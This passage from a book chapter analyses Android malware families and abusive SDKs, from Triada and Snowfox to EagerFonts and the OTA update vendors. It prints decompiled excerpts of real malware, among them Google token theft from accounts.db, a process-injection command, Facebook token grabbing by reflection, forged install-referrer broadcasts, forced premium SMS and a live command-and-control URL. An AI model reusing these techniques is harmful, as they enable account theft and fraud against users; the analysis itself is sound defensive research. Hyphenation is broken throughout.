in 2014; Gooligan, Snowfox, and YouTube Downloader in 2015; and Hum
mingbad in 2016. These malware families were huge, with sophisticated
distribution models. While early versions of these networks spread through
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Google Play and sideloading, their distributors later focused on a much bet
ter distribution method: infiltrating and undermining the device manufac
turing process.

Conveniently, most Android devices are manufactured in China, mak
ing it easy for Chinese malware authors to access them. One common way
to gain this access appears to be through forming shell companies that mas
querade as legitimate software developers. In reality, the software they build
contains backdoors and other malicious builtin functionality. We have seen
these shell companies develop overtheair update solutions, face unlock soft
ware, and font management software with backdoors, then cheaply sell this
technology to device manufacturers. As part of the integration process, the
shell companies ask the manufacturers to give their software privileged ac
cess deep into the Android systems, allowing the malware to execute func
tionality that previously required rooting exploit capabilities.

Triada might be the most famous preinstalled Android malware fam
ily. First described by Kaspersky in two blog posts in March 2016, “Triada:
Organized Crime on Android” and “Everyone Sees Not What They Want to
See,” it reached a level of sophistication rarely seen before. In June 2019,
the Android Security team published additional technical insights about
Triada’s capabilities in “PHA Family Highlights: Triada.” That month, tech
journalist Brian Krebs dug into the origins of Triada and the people behind
it in “Tracing the Supply Chain Attack on Android.”

To understand how sophisticated malware families develop over time, it
helps to look at early samples. These tend to be more primitive and contain
fewer antianalysis techniques, like obfuscation and encryption. Following
the development of a malware family over time also helps understand the
malware developers’ motivations and what did and didn’t work for them.

Triada’s roots go back to at least September 2014, when a sample ap
peared with the package name com.untory.run1 (v1, 251c). This app is easy to
understand, as it uses few defensive techniques. The Java packages security.*,
tools.*, and util.* contain the core of the Triada code. The only attempt at
obfuscation is a few encrypted strings that the app would decrypt at runtime
with the help of a native code function in the embedded file libhzwtool.so.
Like the use of .NET by the Mono WAP fraud family described earlier in
this chapter, the use of code in native libraries can bypass app scanning tools
that only analyze Java code. Hoping to evade these limited tools, the Triada
authors intentionally used native code as an antianalysis trick; the string
decryption function doesn’t contain any behavior that could not be imple
mented in Java.

As input, the string decryption algorithm accepts a hex string and two
16byte keys. It then XORs each byte of the ciphertext with the appropriate
bytes of the two keys. The two keys are read from offsets 0x08 and 0x18 of
the asset file assets/hzwLib. For years, Triada has hidden encryption keys in
asset files and used simple doubleXOR decryption algorithms, making new
samples easy to recognize.
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For its rooting capabilities, the com.untory.run1 (v1, 251c) sample uses
EasyRoot. This is an Android SDK developed by Chinese technology con
glomerate Baidu that contains rooting exploits for different devices and is
freely available for Android developers to embed in their apps. Triada stores
the rooting exploits in the package com.baidu.easyroot.

We believe that the shift to manufacturer infiltration happened partly
because Android devices became more difficult to root. We have never seen
one of these Chinese networks deploy zeroday rooting capabilities, suggest
ing that they had previously relied on rooting exploits developed by others.
After 2015, public rooting exploits became so rare that years could go by be
tween releases. Tired of waiting, the malware developers likely had to find
an alternative way to get privileged system access.

There are other benefits to infiltrating device manufacturers. Pre
installed software can perform device modifications that are offlimits even
to rooting exploits, such as changes to security settings like SELinux. It is
also much easier to gain a large installation base: malware distributors only
have to dupe one company into installing their malware onto hundreds of
thousands of devices. That’s a much easier task than advertising a product
to individual Android users in the hopes that they will choose to install it!
These advantages helped preinstalled malware take off in 2015.

Chamois
Following in Triada’s footsteps, Chamois may have been the most impact
ful botnet of 2018. First publicly described by the Android Security team
in March 2017 in a blog post titled “Detecting and Eliminating Chamois, a
Fraud Botnet on Android,” it originated in November 2014.

Chamois improved upon Triada in several ways, most noticeably by in
troducing complex antianalysis functionality. It includes several layers of en
crypted native code of much higher complexity than Triada’s, then hides at
least 45 environmental checks to determine whether it is running in an em
ulated environment or under analysis by security researchers. While many
Android malware samples already had similar checks, 45 of them was ex
ceptional at the time. The Android Security team discusses these features
further in the 2018 Virus Bulletin paper “Unpacking the Packed Unpacker:
Reversing an Android AntiAnalysis Native Library.”

Chamois was also an early example of malware that pivoted from using
Google Play as an infection vector to getting preinstalled on user devices.
After the Android Security team first removed all Chamois apps from
Google Play in 2017, the Chamois developers started contacting Android
manufacturers. Officially, they offered a mobile payment solution, but this
solution contained hidden code that downloaded and executed malicious
functionality, like advertising or SMS fraud.

Android Malware in the Wild 51



Gooligan and Snowfox
Two other Android malware families from China, Gooligan and Snowfox,
compromised millions of Google accounts in 2015 and 2016. Instead of
phishing users for their Google account credentials, these families stole
Google account tokens from a protected part of the Android operating
system. These account tokens gave the thieves total control over a victim’s
account. For example, they could log into the victim’s Gmail account, down
load their files from Google Drive, or look at the photos they’d saved in
Google Photos.

Regular apps can’t access the area of the operating system that stores
Google account access tokens. To steal the tokens, thirdparty applications
need to elevate their privileges with an exploit or come preinstalled with ele
vated privileges already granted. Gooligan did both. As described by Check
Point in “More Than 1 Million Google Accounts Breached by Gooligan” in
November 2016, Gooligan used several exploits to elevate its regular app
privileges to root. It collected information about the device configuration,
sent that to its commandandcontrol server, and downloaded exploit plug
ins that specifically targeted the fingerprinted device type.

Snowfox, named after its characteristic com.snowfox package name, is an
SDK discovered after Gooligan. Unlike Gooligan, it did not download ex
ploit plugins to root devices. Rather, it came preinstalled on devices or, if
sideloaded, relied on devices already being rooted. Snowfox was extremely
capable, with an extensive plugin system that downloaded additional code
from its commandandcontrol server. We have observed more than 30 dif
ferent plugin files with functionality like Google account token theft, adver
tising fraud, or the ability to download and install more apps. The Android
Security team was the first to describe Snowfox, in the 2018 Android Security
Year in Review report.

One example of a Snowfox app is com.zg.magicDrop (v1, 9097). After
communicating with its commandandcontrol servers via encrypted chan
nels, this app downloads plugins like snowfox_v19n.jar with malicious func
tionality. This plugin code isn’t well obfuscated. For example, Listing 216
shows the functionality used to steal Google account tokens. It first copies
the Accounts database to a different location and then uses SQLite com
mands to extract the tokens from the database.

com.snowfox.core.dy.util.DebugTool.info(

com.snowfox.core.dy.util.GpAccount.TAG,

new StringBuilder().append("ngPref.getIsRootToken()===")

.append(v4_0.getIsRootToken()).toString());

if (v4_0.getIsRootToken()) {

String v0_0 = com.snowfox.core.dy.util.GpAccount.copyConfigDb2SD(

context, "/data/system/users/", v11_1, "accounts.db");

v10_1.put(v0_0, com.snowfox.core.dy.util.GpAccount.readUserTokenNew(

context, v0_0));

...
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android.database.Cursor v11_0 = v4_0.rawQuery(

new StringBuilder().append(

"select type, authtoken from authtokens where type " +

" like 'com.android.vending%:androidmarket' and accounts_id=")

.append(v1_0).toString(), 0);

Listing 2-16: The app com.zg.magicDrop (v1, 9097) stealing Google account tokens

VirusTotal’s antimalware scan results link snowfox_v19n.jar to Xinyinhe,
another malware family created by a Chinese company of the same name.
Californiabased security company Fire Eye discusses this family in a 2015
blog post titled “Guaranteed Clicks: Mobile App Company Takes Control
of Android Phones,” describing functionality and a structure that sound
similar to that of Gooligan and Snowfox. Whether these apps belong to
the same family or were developed by the same people is unclear, as the
pluginbased system of many Chinese malware families makes attribution
complicated.

Hummingbad
In 2016 Check Point discovered Hummingbad, a complex preinstalled mal
ware family from China with lots of dynamically downloaded functionality.
Of particular interest, Hummingbad performed process injection using the
Linux system call ptrace. A July report titled “From Hummingbad to Worse”
describes the technical details of this.

In the sample com.swiping.whale (v262, 783a), the injection code appears
in the Java package com.ry.inject.JNI. Two asset files, assets/inject and assets/
libhooker.so, are involved in hooking Google Play. The inject file is a regular
Linux executable that takes command line arguments to direct the hooking
process. Listing 217 shows how Hummingbad builds the whole process in
jection command.

String v2_0 = new StringBuilder().append(this.val$injectPath)

.append(" ").append("com.android.vending").append(" ")

.append(this.val$hookerPath).append(" hook_entry hahaha").toString();

Listing 2-17: Hummingbad starting the process injection into Google Play

The first argument is the name of the process to hook (com.android
.vending, for Google Play) and the second is the binary to be injected,
libhooker.so. The third argument is an exported function in libhooker.so
that is called after the binary is injected into the Google Play process.

This binary also contains a Java code file that is responsible for inter
acting with Google Play after injection. This code allows Hummingbad to
manipulate the Google Play interface to, for example, click the installation
button and install apps without user consent.
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YouTube Downloader
YouTube Downloader was a comparatively small malware family preinstalled
on lowcost Android devices. To distribute the malware, someone with ac
cess to the device manufacturing process inserted malicious code into Google
apps like YouTube (hence the name of the malware family), effectively re
placing the legitimate apps.

Injecting malware into preloaded Google apps makes it much harder for
antivirus applications to disinfect devices. Due to technical limitations, it is
impossible to delete preloaded apps from devices; we can only disable these
apps to stop them from running. However, an attempt to disable popular
apps like YouTube to protect users likely won’t succeed, as users will proba
bly reenable them to watch videos.

YouTube apps containing the preloaded malware also can’t be updated
to the legitimate version. Original YouTube apps are signed with Google’s
secret private key. When malware developers inject malicious code into the
legitimate YouTube app, they need to resign the modified app to prove its
integrity to Android. But, as malware developers don’t have Google’s pri
vate key, they must use their own. As a result, when installing a legitimate
YouTube update, Android notices the key mismatch and denies the install,
turning the code signing security feature against the user. In the end, the
only way to disinfect devices with fake YouTube apps is for the manufacturer
to issue a complete system update that removes the app.

YouTube Downloader set the direction for the next few years of mal
ware. Many malware developers stopped developing new preinstalled mal
ware apps and instead focused on injecting malicious code into legitimate
system apps. Over time, the locations of the code became ever more sneaky.
We’ve seen code injected into the system UI process, the update process,
and even the Android API itself. Disabling these sensitive apps and files ren
ders devices unusable, putting antivirus products in a difficult spot when
they try to protect users.

Other than their distribution technique, YouTube Downloader files are
not very interesting. Samples like com.google.android.youtube (v1599000099,
428a) contain nothing but functionality that downloads and installs other
apps. We omit example code for these samples, as they do not contain any
novel techniques.

The Consolidation of Abuse: 2017 and Onward
In 2017, Android malware developers reached consensus regarding the best
ways to profit from Android malware. This change ended the diverse, ex
ploratory phase of the prior years, when successful malware developers used
many techniques to make money. From 2017 on, the largest malware fami
lies were proxy networks like Idle Coconut, WAP fraud families like the pre
viously described Joker and Turkish Clicker, data brokers like OneAudience,
and ad fraud families like Android.Click.312.origin. We’ll look at the last
two of these in this section.
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While diverse at first glance, most modern malware follows a common
scheme. First, it is invisible to users. Users don’t like abusive, malicious, or
annoying app behavior. If they believe an app is problematic, they will unin
stall it, ending the developer’s ability to earn income from it. Setting up net
work proxies, slurping up data, or clicking invisible ads is not behavior users
can easily recognize or attribute to a particular app. Apps with this invisible
functionality can stay on devices for months or years, running in the back
ground even if users have long forgotten about them.

Second, modern malware requires very few Android permissions. To
set up network proxies, generate fraudulent ad clicks, or connect to WAP
fraud sites, they require only the INTERNET permission. Nearly every app in
the Android ecosystem requests this permission, so malware authors can
use it without garnering unwanted attention. The lack of sensitive or un
usual permissions makes it very difficult for security companies to scan for
and detect this kind of abuse. With no activity besides network requests, this
malware is as indistinguishable from legitimate apps as it gets.

Third, modern malware sits in a legal and moral gray area. A malware
author who steals a user’s bank credentials and empties their bank account
will find themselves in the spotlight of law enforcement. But a malware au
thor who pays app developers to embed a proxy SDK or collect user data is
unlikely to be prosecuted. As a result, malware developers don’t have to be
underground criminal organizations. Seemingly legitimate software shops
with office buildings, social media presence, and venture capital funding can
build these kinds of apps.

In addition, many successful modern Android malware families use
SDKs. Advertising fraudsters, proxy networks, and data brokers make only
a little money from each infected device, so they must reach large numbers
of devices. To get there, these malware developers build SDKs and convince
legitimate developers to use them in their apps, either voluntarily or for
pay. In several publicly documented cases, malware SDKs were embedded
in apps that had hundreds of millions of installs. No other known method
allows malware developers to scale to this level.

Convincing legitimate developers to embed SDKs in their apps without
asking too many questions requires at least the appearance of legitimacy,
which explains why many malware companies have pretended to be legiti
mate participants in the Android ecosystem. They have professional web
sites, a presence on LinkedIn, and even account managers on staff that build
relationships with legitimate developers of popular apps.

The SDK method also pushes cost and risk away from malware devel
opers and onto unwitting developers. Once a malware SDK is revealed, it’s
the legitimate developer’s Google Play account that risks being terminated.
The fraudsters behind the SDK hide their traces through shell companies in
countries such as Seychelles. A shell company that has acquired a bad repu
tation is easily replaced by a new shell company run by the same people.
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OneAudience
Data brokers are as old as Android but grew in popularity around 2017,
when more of them began building SDKs and paying legitimate developers
to secretly embed them in their apps. These SDKs gather as much informa
tion about a user’s location history, app usage, or web browsing behavior as
possible. Because there is no shortage of potential buyers for this data, many
companies push the boundaries of what kinds of data collection Google Play
policies will allow.

Founded in 2016, an American company called OneAudience was
an early player in that space. Its stated goal was to “help developers earn
new revenue by enhancing app user information into the audience insights
advertisers crave.” In 2019, it was discovered that OneAudience provided
an Android SDK that collected Twitter (which was renamed X in 2023) and
Facebook information without user consent. After being exposed, the com
pany swiftly announced its shutdown. Facebook later filed a lawsuit against
the developer pertaining to the company’s data access practices. They set
tled the lawsuit, as described in Facebook’s February 2020 blog post “Taking
Action Against Platform Abuse.” OneAudience acknowledged the settle
ment on its website but kept its product and company shut down.

The technical details of OneAudience’s access to Twitter and Facebook
accounts reveal a security problem common across all popular operating sys
tems. Modern applications are built by combining app code with many add
on SDKs. By default, all of this code is executed in the same process. There
are no security boundaries inside a process, as the operating system assumes
that all code inside the same process is equally trustworthy. Unfortunately,
this model is outdated and unrealistic. Rogue SDKs exist, with full access to
all of the app’s other SDKs and core code.

Listing 218, taken from the app com.bestcoolfungames.cockroachsmasher
(v10617, 52f2), shows how the OneAudience SDK uses reflection to access
users’ Facebook and Twitter information. This behavior is possible because
the Facebook and Twitter SDKs are running in the same app process as the
OneAudience SDK. If a user has previously logged in to Twitter or Facebook
from inside the app, the Twitter and Facebook SDKs contain their authen
tication tokens. OneAudience collects these authentication tokens and uses
them to secretly connect to the user’s Twitter and Facebook accounts and
scrape personal information.

public static String getFacebookAccessToken() {

Class[] v3_0 = new Class[0];

try {

Class v4_0 = Class.forName("com.facebook.AccessToken");

} catch (Exception v0_2) {

...

}

if (v4_0 == null) {

Method v0_5 = null;
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} else {

v0_5 = v4_0.getDeclaredMethod("getCurrentAccessToken", v3_0);

}

...

}

public String getSocialProfileJSON() {

String v0_0 = "";

String v1_0 = com.oneaudience.sdk.c.a.getFacebookAccessToken();

if (v1_0 != null) {

com.oneaudience.sdk.c.a.b v0_4 = new com.oneaudience.sdk.b().send(

new com.oneaudience.sdk.i().getFacebookProfile(

this.context, this.oneaudienceSharedPreferences, v1_0));

...

}

Object v1_3 = com.oneaudience.sdk.c.h.talkToTwitter();

if (v1_3 == null) {

String v1_4 = "";

} else {

v1_4 = this.extractJson(v1_3);

}

...

return this.extractJson(

new com.oneaudience.sdk.model.SocialData(v0_0, v1_4));

}

Listing 2-18: OneAudience uses reflection to access Twitter and Facebook authentication
tokens.

Besides Twitter and Facebook information, OneAudience also collected
information about the user’s email addresses, phone call history, contact list,
location, installed apps, and much more.

Android.Click.312.origin
In 2018, the Russian antivirus company Dr. Web discovered the largest
click fraud family of that year. In the August 2019 blog post “Doctor Web:
Clicker Trojan Installed from Google Play by Some 102,000,000 Android
Users,” the company gave the malware family the nondescript name
Android.Click.312.origin. This generic name understates the importance
of this family, which remained prominent in 2019 and 2020.

Android.Click.312.origin is a typical click fraud SDK. It uses heavily ob
fuscated class and variable names and encrypts all of its strings with a cus
tom encryption scheme. Listing 219 shows an excerpt taken from the app
com.happylife.callflash (v26, dca4).

static {

com.graver.data.f.b.a = com.graver.data.f.c.a("XnhueSZKbG5lfw==");

com.graver.data.f.b.b = com.graver.data.f.c.a("Q39/e0NqZW9nbnk=");
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com.graver.data.f.c.a("Y39/e1luen5ueH8rYngrZX5nZyU=");

com.graver.data.f.c.a("eW54fmd/K2J4K25me39y");

com.graver.data.f.c.a("UH55ZzEueFYnUHlueH5nfzEueFY=");

com.graver.data.f.c.a("eW56fm54f0dieH9uZW55K2J4K2V+Z2cneW54fmd/MS54J1B+eWdWMS54");

...

Listing 2-19: Using name obfuscation and custom string encryption, Android.Click.312.origin protects itself
from naive analysis.

Under all of this obfuscation and encryption, Android.Click.312.origin
is straightforward. After a certain period of time, the SDK starts creating
invisible WebView objects and executes JavaScript code that fraudulently
clicks advertisements.

Cheetah Mobile
In November 2018, BuzzFeed News published an article called “These
Hugely Popular Android Apps Have Been Committing Ad Fraud Behind
Users’ Backs” about a severe form of ad fraud discovered by USbased adver
tising company Kochava. The article accused Chinese mobile app develop
ment company Cheetah Mobile of defrauding legitimate advertisers through
a technique called installation attribution fraud. After the BuzzFeed News arti
cle broke, Cheetah Mobile was permanently suspended from Google Play.

Installation attribution fraud is a form of ad fraud that doesn’t rely on
fraudulent clicks on ads to make money. Instead, it intercepts the installa
tion attribution process, which determines the advertiser to credit when a
user installs an app from an ad. When no fraud is involved, the developer
of the application that showed the ad is credited for the installation of the
advertised app. But when fraud is involved, this crediting system can be redi
rected: the fraudulent code intercepts the attribution, replacing it with a
forged attribution that claims that the installation came from the fraudster’s
code. Then, the fraudster receives the credit instead of the developer of the
legitimate app that showed the ad.

Responding to the allegations by BuzzFeed News and Kochava, Cheetah
Mobile representatives posted a series of nine blog posts explaining their
point of view. Denying responsibility for the fraudulent behavior, Cheetah
Mobile blamed several SDKs embedded in its apps for the fraudulent
behavior—most notably three SDKs called Batmobi, Duapps, and Altamob,
which were themselves developed by three Chinese companies in the mobile
advertising space.

Who is to blame for the fraud (and whether any of the lawsuits with
which the different parties threatened each other actually materialized) is
beyond the scope of this book, but let’s take a look at how the fraud works.
In order to perform installation attribution fraud, the SDKs continuously
monitor installations coming from Google Play. After a few plausibility checks
to hide the fraudulent activity, they broadcast a com.android.vending.INSTALL

_REFERRER message to claim themselves as the source of the new app installa
tion. Listing 220 shows this straightforward fraud technique.
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while ((System.currentTimeMillis() - this.j) < this.h) {

Intent v0_5 = new Intent("com.android.vending.INSTALL_REFERRER");

v0_5.setPackage(this.e);

v0_5.setFlags(32);

v0_5.putExtra("referrer", this.refData);

this.ctx.sendBroadcast(v0_5);

Thread.sleep(this.i);

}

Listing 2-20: The SDK sends an install referrer message to fraudulently claim to be the
origin of an app installation.

Of course, the SDKs implicated in this case are not the only ones
practicing installation attribution fraud. Like click fraud, this method is
widespread in the Android ecosystem. Ad providers would be well advised
to study it and take steps to protect their own advertisement revenue streams.

Anti-Fraud SDKs
In 2019, another problematic kind of SDK rose to prominence: financial
antifraud SDKs. Embedded in financial apps (usually those for personal
loans), these SDKs determine whether a user is a legitimate person. At first
glance, this practice seems perfectly reasonable for protecting customers.
The problem is that these SDKs collect so much data from devices that they
cross into spyware territory. For example, the biggest such SDK, dubbed
Loan Spy by the Android Security team, abuses the accessibility API to get
access to WhatsApp messages, then guesses whether the user is legitimate
based on their WhatsApp usage.

Little is publicly known about these SDKs, but in October 2019 the
Chinese news website China Money Network reported that authorities had
raided the offices of technology company Tongdun in connection with one
such scheme. The article “China Cracks Down on Malicious Lending and
Web Crawlers, TemasekBacked Tongdun Tech Implicated” reads:

As part of this nationwide campaign, law enforcement agencies
have also targeted rampant illegal scraping of personal data on
line. It is an industry open secret that the practice of illegally col
lecting and selling personal data is an “original sin” that few of the
socalled big data companies can escape.

Like its competitors, Loan Spy accesses a veritable laundry list of sensi
tive information on the user’s device: call log information, SMS messages,
contact lists, GPS location data, and so on. Most troubling, though, is that
Loan Spy also abuses the accessibility API to break the sandbox between
Android apps. This API includes support tools like screen readers, input
simulation, and other features that ignore the sandbox between applications
in order to fully interact with all apps on the system.

You might be wondering how these SDKs can become widespread if
they only target apps from financial institutions. The answer is that in
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Southeast Asia, the financial lending situation looks stunningly different
from that of the Western world. In the years leading up to 2020, demand
for personal lines of credit vastly increased, leading to the creation and
publication of more than 10,000 small personal lending apps targeting
users in that region. These apps all need methods of determining whether
they are loaning money to fake personas, in which case there would be little
chance of recovering the loans later on. Thus, Loan Spy has garnered a pres
ence on Android devices that rivals that of intentionally fraudulent malware
networks.

In the years leading up to 2023, another problem with these personal
loan apps was widely reported by app users. Using the personal data previ
ously collected from devices, loan companies would call and threaten people
who were behind on their loans, or even their friends or family members.
The Google Play policy team responded in April 2023 by disallowing per
sonal loan applications from requesting Android permissions related to per
sonal information such as contact lists, phone numbers, photos, or location.
Going forward, personal loan applications will not be able to use these per
missions for any reason.

Loapi/Podec
Two of the largest malware families found outside of Google Play from 2017
on were Loapi/Podec and HDC Bookmark. Of these, the Loapi/Podec fam
ily is the more interesting one. Russian security company Kaspersky first
described Podec in a March 2015 blog post titled “SMS Trojan Bypasses
CAPTCHA.” A December 2017 followup blog post titled “Jack of All
Trades” linked a newer variant, called Loapi, to Podec.

Loapi/Podec may have started as simple SMS fraud malware, but over
time it grew into a powerful backdoor trojan. According to Kaspersky, the
2015 version (Podec) handled 16 different commands from its command
andcontrol servers. While most were related to premium billing signups or
general SMS or phone call abuse, one noteworthy command told infected
devices to execute a DDoS attack against a provided target.

The 2017 variant (Loapi) expanded on Podec’s capabilities with a com
plex pluginbased system that could download and execute additional mali
cious modules, depending on instructions from the commandandcontrol
server. In particular, Kaspersky calls out the trojan’s ability to perform ad
vertising fraud, Monero cryptocurrency mining, and many more activities.
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HDC Bookmark
The second major sideloaded family of this period, HDC Bookmark,
proved less sophisticated. Its author bulkcreated many thousands of apps
with package names that started with com.hdc.bookmark and ended
with a random number, such as com.hdc.bookmark52428 (v1, 1dda). Tar
geting Vietnam, these apps appear to be associated with apkfull.mobi, a
Vietnamese site that existed from 2013 to 2018 and provided cracked ver
sions of Android apps and games. The HDC Bookmark apps offered these
for download for a small fee of roughly $0.65.

Though it was likely profitable at first, we don’t believe this malware
family found longterm success. These apps do not defend against detec
tion, and most common Android antimalware products reliably detect
them. The Android operating system now also protects the signup process
for SMSbased subscription services by showing a warning to users that apps
are trying to send costly messages. This might explain why the apkfull.mobi
website disappeared in 2018.

However, HDC Bookmark apps have an insidious feature that lets them
send premium texts even if the user explicitly disagrees. Encrypted asset
files, such as assets/map.lib, include configuration options in JSON format.
When the url_config_auto_sms option is set, the app sends a premium SMS
regardless of whether the user wants to pay 15,000 Vietnamese Dong for a
pirated app. In Listing 221, you can see the click handler for this subscrip
tion dialog’s Cancel button.

public void onClick(DialogInterface dialog, int which) {

try {

this.this$0.auto_sms = DownloadImage.instance.getAuto_sms2(

com.hdc.service.Service_mLink.url_config_auto_sms);

} catch (Exception v0) {

this.this$0.auto_sms = "0";

}

if (!this.this$0.auto_sms.equals("1")) {

dialog.dismiss();

if (!Service_mLink.link_redirect.equals("")) {

com.hdc.bookmark52428.MainActivity.access$3(

this.this$0, Service_mLink.link_redirect);

}

System.exit(1);

} else {

if ((this.this$0.typeNetwork != "VIETNAM_MOBILE")

&& (this.this$0.typeNetwork != "BEELINE")) {

com.hdc.ultilities.SendSMS.send(

com.hdc.service.Service_mLink.mo_Active,

com.hdc.service.Service_mLink.svcodeActive,

this.this$0, this.this$0.type_so);

} else {

com.hdc.ultilities.SendSMS.send(
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com.hdc.service.Service_mLink.mo_Active,

com.hdc.service.Service_mLink.svcodeActive2,

this.this$0, this.this$0.type_so);

}

...

}

}

Listing 2-21: Regardless of user choice, com.hdc.bookmark52428 (v1, 1dda) can be
configured to always send premium SMS messages.

If auto_sms is disabled, the app exits after the user declines the offer.
However, if auto_sms is enabled, the app checks what Vietnamese mobile
carrier the device is using and sends the premium SMS. This behavior is
fraudulent.

EagerFonts
Preinstalled malware continues to thrive on lowcost and noname devices.
Deep inside new Android phones, researchers have discovered business
models built on spyware, unwanted advertising, and payforinstall app
pushing schemes.

One particularly nasty preinstalled malware family was EagerFonts, a tro
jan disguised as a font management app that downloaded malicious modules
in the background. The EagerFonts developers convinced a chipset vendor
to include the app in its development SDK. As a result, all manufacturers
using that chipset SDK had their devices infected. In total, EagerFonts com
promised more than 12 million devices across more than 1,000 models built
by hundreds of manufacturers.

EagerFonts highlights a simple truth in supply chain compromise: the
further upstream a compromise happens, the larger the number of infected
devices. Convincing a single manufacturer to include malware on devices is
profitable, but convincing the supplier of more than 100 manufacturers to
do so is like winning the lottery. Even if the abuse is detected, any malware
removal effort will take months of coordination between vendors and likely
miss a significant fraction of infected devices. In the meantime, the malware
will continue to bring in money for its developers.

The Android Security team described this malware’s technical details
in a BlackHat USA 2019 talk, “Securing the System—A Deep Dive into Re
versing Android PreInstalled Apps.” The slides for this talk are freely avail
able on the internet. Like most preinstalled backdoors, the main purpose of
EagerFonts is to download plugins with malicious functionality. It connects
to a commandandcontrol server at pushstablev9.ekesoo.com, as shown in
Listing 222. This domain primarily hosts a pornography site.

public void run() {

ArrayList v0_1 = new ArrayList();

v0_1.add(new BasicNameValuePair("installationid",

com.iekie.lovelyfonts.fonts.d.b.c(this.c)));
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v0_1.add(new BasicNameValuePair("channel",

com.iekie.lovelyfonts.fonts.d.b.b(this.c).d()));

v0_1.add(new BasicNameValuePair("msgid", this.a));

v0_1.add(new BasicNameValuePair("msg_type", this.b));

v0_1.add(new BasicNameValuePair("type",

com.iekie.lovelyfonts.fonts.d.b.b(this.c).e()));

v0_1.add(new BasicNameValuePair("appversion",

com.iekie.lovelyfonts.fonts.d.b.b(this.c).m()));

v0_1.add(new BasicNameValuePair("status", "0"));

try {

new com.iekie.lovelyfonts.fonts.d.a(

"http://pushstablev9.ekesoo.com/cloudfontapp/upgrademsgopen",

v0_1).a(0);

} catch (IOException v0_3) {

v0_3.printStackTrace();

}

return;

}

Listing 2-22: EagerFonts communicates with its command-and-control server.

Besides code for downloading and managing the malicious plugins,
EagerFonts contains little other functionality. The downloaded plugins
are highly diverse and belong to Chinese malware families like Chamois
and Snowfox (discussed earlier in this chapter).

GMobi
Malware developers have repeatedly attacked one particular part of the pre
installed app supply chain: thirdparty overtheair (OTA) update providers.
OTA update software downloads and installs system updates onto Android
devices, be it smaller monthly security updates or new versions of Android.
Installing these updates requires OTA software to make changes deep in
side the Android system, so it has some of the highest privileges available.
This highly privileged position makes it a prime target for Android malware
developers.

Manufacturers manage and distribute updates to their devices using sev
eral strategies. Large companies, like Samsung and Xiaomi, manage their
own OTA update infrastructure and software. Google provides GOTA, a
free OTA distribution and management solution for devices with Google
Play Services. Manufacturers who cannot or do not want to use GOTA
can pick from about a dozen commercial OTA solution providers. After a
series of security problems, researchers started investigating these commer
cial OTA providers.

The first of these OTA providers that we’ll consider is by the Taipei
based General Mobile Corporation (GMobi). Concerns about GMobi’s OTA
app first came to light when Russian security company Dr. Web published
a blog post called “New Adware for Android Attacked Firmware and Apps
by WellKnown Companies” in March 2016. Dr. Web researchers noted
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capabilities like data collection (for example, collecting the user’s email
addresses and GPS location), showing unwanted ads, and installing new
apps without user consent. In particular, the ability to install apps led to
malware incidents: for example, in October 2015, GMobi installed a Ghost
Push app on nearly a million devices.

Months earlier, in January 2015, a Tech in Asia article described GMobi’s
business model. The article, titled “Meet the Company Stamping Bloatware
on Millions of Emerging Market Smartphones,” said the following:

It’s important to remember that behind every piece of bloatware is
a hardwon handshake. By mutually agreeing to invade your smart
phone, app publishers get reach, and smartphone brands get cash.
GMobi is a Taiwanbased startup that earns money by facilitating
these handshakes. For four years, the company has brokered pre
installs, built whitelabel app stores, and driven firmware updates
for dozens of smartphone brands.

Other commercial OTA providers likely receive pay for installing apps
and displaying ads, driving their profits. The OTA functionality is only a
means to establish a deep hook into the Android system.

Additional security companies also took note of GMobi. German anti
virus company Avira described adware problems with GMobi in an April
2016 blog post, “Trojan Adware Hits Budget Androids—And Some Well
Known Apps.” In July 2018, a Washington Post article called “App Traps:
How Cheap Smartphones Siphon User Data in Developing Countries” used
research by the British company Upstream Systems to further scrutinize
GMobi’s data collection practices.

Adups
Another OTA provider company with a documented history of security con
cerns is Shanghaibased Adups. In October 2016, the security company
Kryptowire exposed spyware behavior in the Adups OTA software. Its re
port, titled “Android Firmware Sharing Private Data Without Consent,”
notes that the Adups software collects text messages, contact list informa
tion, and the device’s call history, including full telephone numbers.

Like GMobi, Adups software can download and install other applica
tions without user consent. The first public evidence of this functionality
dates back to at least January 2015, when a Reddit user posted the following
in the /r/india subreddit:

I use a Micromax A093 Canvas fire, and have been since August
of last year. [ . . . ]Meanwhile, looks like Micromax is installing apps
without my permission, using up precious space and my 3G! Apps
reappear after uninstalling them. This is ridiculous! Many times,
instead of downloading apps, it creates 810 notifications which
are advertisements for online stores and other apps.

Adups continued to build these capabilities and downloaded and in
stalled apps that made up large Chinese botnets like Ghost Push and
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Snowfox. Certain iterations of Adups have drawn so much attention from
security researchers that The MITRE Corporation, a USbased defense non
profit, now lists it in its MITRE ATT&CK framework, an industrystandard
repository of malware tactics and techniques.

Redstone
A third OTA company with a history of security problems is Redstone
Sunshine, based in Beijing. In April 2021, Malwarebytes, a USbased anti
malware company, expressed concerns about Redstone in an article called
“PreInstalled Auto Installer Threat Found on Android Mobile Devices in
Germany.” This article made quite a splash in the tech press. For exam
ple, the largest German computer magazine, Computer Bild, picked up the
story, and the German Bundesamt für Sicherheit in der Informationstechnik
(Federal Office for Information Security) issued a warning to German users
of the affected devices.

In November 2021, Dr. Web described a series of data collection prob
lems and hidden app installs affecting the Elari Kidphone 4G Smartwatch. A
blog post titled “Doctor Web Discovered Vulnerabilities in Children’s Smart
Watches” describes how the OTA component could be used for “cyber es
pionage, displaying ads, and installing unwanted or even malicious apps.”
Dr. Web does not mention Redstone in the text, but many of the malicious
files presented in the blog post belong to Redstone’s OTA solution. This can
be verified by looking at the app signing information of the presented files.

Digitime
Digitime, a company from Shenzhen, China, went unnoticed by the profes
sional security world and tech press until 2019. That year, an independent
security researcher nicknamed Ninji documented problems with Digitime’s
OTA update software functionality. In the December blog post “Research
ing the Digitime Tech FOTA Backdoors,” Ninji describes Digitime’s exten
sive Luabased plugin system, which downloads additional modules with
problematic functionality. Examples include the ability to install and unin
stall any apps on the device and grant them any permissions without using
the permission prompt.

Half a year later, Digitime’s OTA update software caused public con
cern. Malwarebytes identified security and privacy problems with a lowcost
device named UMX U683CL that was built by Chinese company TeleEpoch,
branded for Chinese device manufacturer Unimax, and sold by the Ameri
can mobile carrier Assurance Wireless. Despite involving lesserknown man
ufacturers, this device model is noteworthy. It was part of Lifeline, a federal
program to lower the monthly cost of phone and internet service for eligi
ble US citizens. The revelation that this Chinesebuilt device had backdoor
and spyware capabilities caused an uproar in the national press, though
Digitime temporarily escaped unscathed; Malwarebytes mistakenly attributed
the OTA software to Adups instead. Then, in July 2020, an anonymous con
tributor going by the name Concerned_Citizen posted a forum thread in
